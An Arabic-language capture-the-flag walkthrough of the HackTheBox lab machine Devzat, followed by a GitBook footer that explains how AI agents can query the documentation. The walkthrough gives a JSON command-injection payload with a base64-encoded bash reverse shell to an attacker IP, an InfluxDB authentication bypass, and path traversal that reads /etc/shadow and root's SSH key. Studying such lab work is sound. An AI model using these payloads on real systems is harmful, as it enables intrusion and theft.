> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-medium/devzat-hackthebox-writeup.md).

# شرح Devzat HackTheBox

{% embed url="<https://app.hackthebox.com/machines/398>" %}

{% hint style="warning" %}
**المهارات:**

* استكشاف الدلائل
* حقن الويب (RCE)
* استغلال InfluxDB ‏(CVE-2019-20933)
* استغلال أمر ‎/file في دردشة Devzat (تصعيد الصلاحيات)
  {% endhint %}

## الاستطلاع:

**إعداد مساحة العمل:**

قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

<figure><img src="/files/c4dd932b59298fd5db80c94e0c6d2cc9d71fcdf3" alt="" width="563"><figcaption></figcaption></figure>

**فحص اتصال VPN**

تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

<figure><img src="/files/5088bf081c9e0caced1dd4e04c6261117e640226" alt="" width="563"><figcaption></figcaption></figure>

**اكتشاف المنافذ المفتوحة باستخدام Nmap:**

قم بحصر المنافذ المفتوحة وتصدير النتائج إلى الملف "allPorts" في دليل Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.118 -oG allPorts
```

<figure><img src="/files/5bc79551c3cda8fe7c299dca6b761e099e74e4b1" alt=""><figcaption></figcaption></figure>

**تحليل المنافذ المفتوحة باستخدام extractPorts:**

باستخدام دالة extractPorts لعرض المنافذ المفتوحة بصيغة مختصرة ونسخها إلى الحافظة (22.80.8000)

<figure><img src="/files/9c8a6029fd3f2b9cc3757050cd7b278e0d36045f" alt="" width="563"><figcaption></figcaption></figure>

فحص إصدارات المنافذ باستخدام Nmap:

استخدم Nmap لفحص إصدارات الخدمات وحفظ الناتج في الملف "targeted":

```bash
nmap -sCV -p22,80,8000 10.10.11.118 -oN targeted
```

<figure><img src="/files/2044eea7e52da1818511b828527b9f0c006ea2ab" alt=""><figcaption></figcaption></figure>

لحل أسماء النطاقات إلى عناوين IP عبر DNS، يتم إدراج اسم النطاق المرتبط بعنوان IP الخاص به في `/etc/hosts` الملف:

<figure><img src="/files/4ed79162a2a430ee6f1861bf2615e6ffe4d9bb3e" alt="" width="539"><figcaption></figcaption></figure>

### المنفذ 80

<figure><img src="/files/38279c79bbe79930d711350a0e708b5ee1eedfe0" alt=""><figcaption></figcaption></figure>

باستخدام `whatweb`، نجد بريدًا إلكترونيًا مرتبطًا بالموقع: `patrick@devzat.htb`.

<figure><img src="/files/aeb92d5e0c91a49ee6ba67a980994205f103ee18" alt=""><figcaption></figcaption></figure>

كما يطلعنا التطبيق أيضًا على أنه يمكننا استخدام المنفذ 8000 للاتصال عبر SSH إلى "chat":

```bash
ssh -l [username] devzat.htb -p 8000 
```

<figure><img src="/files/439021769975ffaec706673b993c8bbb73b16ee0" alt=""><figcaption></figcaption></figure>

### المنفذ 8000:

نحاول الاتصال، لكن تحدث مشكلة لأن مفتاح SSH مطلوب:

```bash
ssh -l jordan devzat.htb -p 8000
```

<figure><img src="/files/2a7185e0d5df7d842e307e513f6a2d973fa7f6aa" alt=""><figcaption></figcaption></figure>

**فرض استخدام SSH-RSA مؤقتًا:** نحدد نوع مفتاح SSH المراد استخدامه لهذه الجلسة بالخيار التالي:

```bash
ssh -l jordan devzat.htb -p 8000 -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa
```

<figure><img src="/files/493df94bbb2bede4240ff323a47de2cb82c04d24" alt=""><figcaption></figcaption></figure>

### **مشروع Devzat (دردشة SSH):**

{% hint style="info" %}
Devzat هو خادم SSH مخصص يتصل بدردشة بدلًا من سطر أوامر. وبما أن تطبيقات SSH متوفرة على جميع المنصات (بما فيها الهواتف)، يمكنك الاتصال بـ Devzat من أي جهاز.
{% endhint %}

إليك قائمة بالأوامر التي يمكن تنفيذها في هذه الدردشة:

<figure><img src="/files/48fddbce40c8875ef72960cc09e004d7b9924878" alt=""><figcaption></figcaption></figure>

### استكشاف **الدلائل:**

نستخدم `gobuster` لسرد الدلائل على الموقع:

```bash
gobuster dir -u http://devzat.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

لم يتم العثور على نتائج مثيرة للاهتمام.

<figure><img src="/files/ec5036091505ce3a1126b3ff2153a2c0371cb328" alt=""><figcaption></figcaption></figure>

### **استكشاف النطاقات الفرعية**

نبحث عن النطاقات الفرعية باستخدام `gobuster`:

```bash
gobuster vhost -u http://devzat.htb --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100 | grep -Ev "403|302"
```

نكتشف `pets.devzat.htb` النطاق الفرعي ونضيفه إلى `/etc/hosts` الملف.

<figure><img src="/files/6d228966c0baffe527a714fd02a31bf3466bcb80" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/adfabfdc86a61ae615cab3db0f7e567185cc8084" alt=""><figcaption></figcaption></figure>

## **الثغرة (RCE) بصيغة JSON:**

<figure><img src="/files/46e42fbc42f0e8d589283465eee42c93781626f3" alt=""><figcaption></figcaption></figure>

لدينا إمكانية إضافة "pets" مع أنواعها، مما يتيح حقن JSON.

<figure><img src="/files/1aaaa0694843c1f353247bf2f154f099ca0d124a" alt=""><figcaption></figcaption></figure>

نعترض الطلبات باستخدام Burp Suite ونحاول التلاعب بالطلب عبر إضافة إدخال باسم ونوع:

<figure><img src="/files/913463658b77ef5d730b6e1bd53119cbbf914ae7" alt=""><figcaption></figcaption></figure>

يتم تفسير هذا الإدخال، مما يسمح بالحقن.

```json
{
    "الاسم": "jordan",
    "النوع": "jordan"
}
```

<figure><img src="/files/fa7361bc32f56119f62fbc1fb02f2cb8d5e37f0b" alt=""><figcaption></figcaption></figure>

نستمع إلى حزم ICMP لمراقبة الاتصالات واختبار حقن الأوامر:

```bash
sudo tcpdump -i tun0 icmp
```

نتلقى رد ping، ما يؤكد إمكانية تنفيذ الأوامر عن بُعد.

<figure><img src="/files/9d31a7301a511e3a633ad278457c45bde3bbd096" alt=""><figcaption></figcaption></figure>

ثم نرسل طلبًا مع `curl` إلى خادم Python الخاص بنا ونستقبل أيضًا طلبًا، مما يؤكد وجود ثغرة تنفيذ تعليمات برمجية عن بُعد.

```bash
{
    "الاسم": "jordan",
    "النوع": "test;bash -c \"bash -i >%26 /dev/tcp/10.10.14.12/443 0>%261\""
}
```

<figure><img src="/files/d8b77e997cd694011b7836dd9451841b05e0c806" alt="" width="502"><figcaption></figcaption></figure>

### شل عكسي

نحاول إنشاء شيل عكسي:

```bash
bash -c "bash -i >%26 /dev/tcp/10.10.14.12/443 0>%261"
```

لكن يحدث خطأ في الإخراج.

<figure><img src="/files/964f33775f4883cc7f8bc1d622ac986319a57ab3" alt=""><figcaption></figcaption></figure>

**حل الخطأ (reverse shell):** لحل هذا الخطأ، ننشئ ملف HTML يحتوي على الشيل العكسي، ثم نُشفّره بصيغة base64:

```bash
#!/bin/bash 
bash -i >& /dev/tcp/10.10.14.12/443 0>&1
```

نحوّل هذا الملف إلى base64:

```bash
base64 -w 0 index.html
```

<figure><img src="/files/0367c11654de2e80b6e467926726e29e0fbf09e8" alt="" width="563"><figcaption></figcaption></figure>

في الاستعلام، ننفذ echo للنص المشفّر base64 ثم نفك التشفير قبل تشغيل الشيل:

{% code overflow="wrap" %}

```bash
{
    "الاسم": "jordan",
    "Species": "test;echo IyEvYmluL2Jhc2ggCmJhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTIvNDQzIDA+JjEK | base64 -d | bash"
}
```

{% endcode %}

مرة أخرى، نستمع إلى المنفذ 443 ونحصل على شيل عكسي.

<figure><img src="/files/a0249e023a9503a1f99ddf9a12202e40e880c63b" alt=""><figcaption></figcaption></figure>

#### **التعامل مع الطرفية:**

لتثبيت جلستنا، نستخدم الأوامر التالية:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## تصعيد الامتيازات <a href="#privilege-escalation" id="privilege-escalation"></a>

نلاحظ الحاجة إلى صلاحيات أعلى. نحتاج إلى التبديل للوصول إلى حساب `catherine` المستخدم.

<figure><img src="/files/46d85e1f1b7ac3596bf396a3d1374f3f85e59dd9" alt="" width="563"><figcaption></figcaption></figure>

#### تحديد المنفذ المفتوح

أولًا، نلاحظ المنافذ المفتوحة داخليًا باستخدام الأمر التالي:

```bash
netstat -nltp
```

المنافذ المفتوحة هي:

* 8086
* 8443
* 5000

<figure><img src="/files/8c6c1539da1b76d674a3146ac270cd30b8ba8ea9" alt=""><figcaption></figcaption></figure>

### تحويل المنافذ (SSH)

نعيد توجيه المنافذ الداخلية إلى جهاز الهجوم الخاص بنا باستخدام المفتاح الخاص بالمستخدم وتطبيق الأذونات الصحيحة:

```bash
chmod 600 id_rsa
```

<figure><img src="/files/a99d82a316c1ebfbc486b986c54f1d8b19dd391f" alt=""><figcaption></figcaption></figure>

```bash
sudo ssh -L 8086:127.0.0.1:8086 -L 8443:127.0.0.1:8443 -L 5000:127.0.0.1:5000 patrick@devzat.htb -i id_rsa
```

ثم نستخدم `nmap` لفحص المنافذ المعاد توجيهها:

```bash
nmap -sCV -p5000,8443,8086 localhost -oN targeted
```

### المنفذ 5000:

<figure><img src="/files/0eef8d862b0d0af918c42df33c6d198a5b1fadbf" alt=""><figcaption></figcaption></figure>

نلاحظ أن هذا المنفذ مرتبط بالخدمة نفسها الموجودة على المنفذ 8000، ولا يمنحنا مسار استغلال إضافيًا.

<figure><img src="/files/20533c2c0ed4abb757a8cdf6cccd84017eb516e7" alt=""><figcaption></figcaption></figure>

### **المنفذ 8086 (InfluxDB)**

الخدمة على المنفذ 8086 هي InfluxDB، الإصدار 1.7.5. نحدد ثغرة NCE ‏(تنفيذ تعليمات برمجية عن بُعد) في InfluxDB:

<figure><img src="/files/a8d99247c1f7416ba46f67f46a374e4fc4fe1181" alt=""><figcaption></figcaption></figure>

**الثغرة:** [CVE-2019-20933](https://nvd.nist.gov/vuln/detail/CVE-2019-20933)

{% embed url="<https://github.com/LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933>" %}

{% hint style="info" %}
تسمح هذه الثغرة بتجاوز المصادقة باستخدام رمز JWT حيث يكون `SharedSecret` فارغًا (أي secret مشترك)، مما يمنحنا الوصول إلى قاعدة البيانات.
{% endhint %}

<figure><img src="/files/71c3f3c98dd62f0f4e462abba22d8a87ff27e857" alt=""><figcaption></figcaption></figure>

#### الوصول إلى قاعدة البيانات

بعد الاتصال بـ InfluxDB، نسرد قواعد البيانات المتاحة:

```sql
SHOW DATABASES;
```

نختار `devzat` قاعدة البيانات ونستكشف بيانات المستخدمين. نبدأ بسرد "القياسات" (الجداول):

```sql
SHOW MEASUREMENTS;
```

الـ **`المستخدم`** يحتوي الجدول على معلومات مفيدة. لاستكشاف أعمدة هذه القياس، ننفذ:

```sql
SHOW FIELD KEYS FROM "user";
```

ثم نعرض أول 10 نتائج لـ `المستخدم` الجدول:

```sql
SELECT * FROM "user" LIMIT 10;
```

<table data-header-hidden><thead><tr><th width="357"></th><th></th></tr></thead><tbody><tr><td><strong>كلمة المرور</strong></td><td><strong>اسم المستخدم</strong></td></tr><tr><td>WillyWonka2021</td><td>wilhelm</td></tr><tr><td>woBeeYareedahc7Oogeephies7Aiseci</td><td>catherine</td></tr><tr><td>RoyalQueenBee$</td><td>charles</td></tr></tbody></table>

كلمة مرور المستخدم catherine هي **`woBeeYareedahc7Oogeephies7Aiseci`**، مما يتيح لنا استعادة **العَلَم** مستخدم.

### الراية user.txt :)

نجحنا في الحصول على الوصول والتحول إلى `catherine`.

<figure><img src="/files/105541745440f93236c1bbbc8a8d1c6fef4d2937" alt="" width="563"><figcaption></figcaption></figure>

### المنفذ 8443 (Devzat - الإنتاج)

المنفذ 8443 مخصص لنسخة إنتاجية من Devzat. نلاحظ أن معلمة `الملف` تعرض جميع الملفات في النظام كجذر. ومع ذلك، فإن الوصول إلى هذه الميزة محمي بكلمة مرور.

<figure><img src="/files/a5dd624e7efecd283ff5368204fa7d1410399aaa" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/717576261d18f7471edbffa8a4d1207ca086d8df" alt=""><figcaption></figcaption></figure>

نحاول استخدام كلمة مرور catherine، لكنها تفشل. نحتاج الآن إلى البحث عن الملفات التي يمكن لـ catherine قراءتها على النظام.

<figure><img src="/files/2a34d85014229941946b60f8d2c81e4c33482fc4" alt="" width="538"><figcaption></figcaption></figure>

### البحث عن الملفات التي يمكن لـ Catherine الوصول إليها

نستخدم الأمر التالي للبحث عن جميع الملفات القابلة للقراءة بواسطة catherine:

```bash
find / -user catherine -readable 2>/dev/null | grep -vE "cgroup|proc"
```

نعثر على ملفي `.zip` نسخ احتياطية:

* `/var/backups/devzat-main.zip`
* `/var/backups/devzat-dev.zip`

نقوم بتنزيل ملف `devzat-dev.zip` ملف النسخة الاحتياطية ونفلتر محتواه بحثًا عن كلمات المرور. نجد كلمة مرور مفيدة: **`CeilingCatStillAThingIn2021?`**.

<figure><img src="/files/1d7f256532d53bf8accf55491764b0a106fe885c" alt=""><figcaption></figcaption></figure>

ثم نحاول استخدام كلمة المرور هذه للوصول إلى `/etc/shadow` الملف عبر `الملف` المعلمة:

```bash
/file /etc/shadows CeilingCatStillAThingIn2021?
```

على الرغم من أن كلمة المرور صحيحة، إلا أن **المسار المتقاطع** مطلوب للحصول على وصول كامل. نستخدم الأمر التالي للتنقل في نظام الملفات:

<figure><img src="/files/5f8cabb3eed1e87a3832a8482908937bd0fc464d" alt=""><figcaption></figcaption></figure>

```bash
/file ../../../../etc/shadow CeilingCatStillAThingIn2021?
```

ننجح في عرض `/etc/shadow` الملف كجذر.

<figure><img src="/files/21ce3ce5203f65e5d5bf4e8f2ae6c82e7836fb99" alt=""><figcaption></figcaption></figure>

### الوصول عبر SSH كجذر

أخيرًا، نستخدم مسارًا متقاطعًا إضافيًا للوصول إلى مفتاح SSH الخاص بالجذر:

```bash
/file ../../../../root/.ssh/id_rsa CeilingCatStillAThingIn2021?
```

<figure><img src="/files/02c6bef418019e4d47caaa2176b03484775ece64" alt="" width="563"><figcaption></figcaption></figure>

نقوم بتنزيل مفتاح SSH والاتصال كجذر.

<figure><img src="/files/36fc66570cb0a49185c82f71d569efcebd0c482f" alt=""><figcaption></figcaption></figure>

### العلم root.txt :)

<figure><img src="/files/4d3d7281378b10360d4c6f381f5cd48673ccfa0d" alt="" width="470"><figcaption></figcaption></figure>

<figure><img src="/files/5778159005beb4a0ed8dd97bf93813b00edf479b" alt="" width="542"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-medium/devzat-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
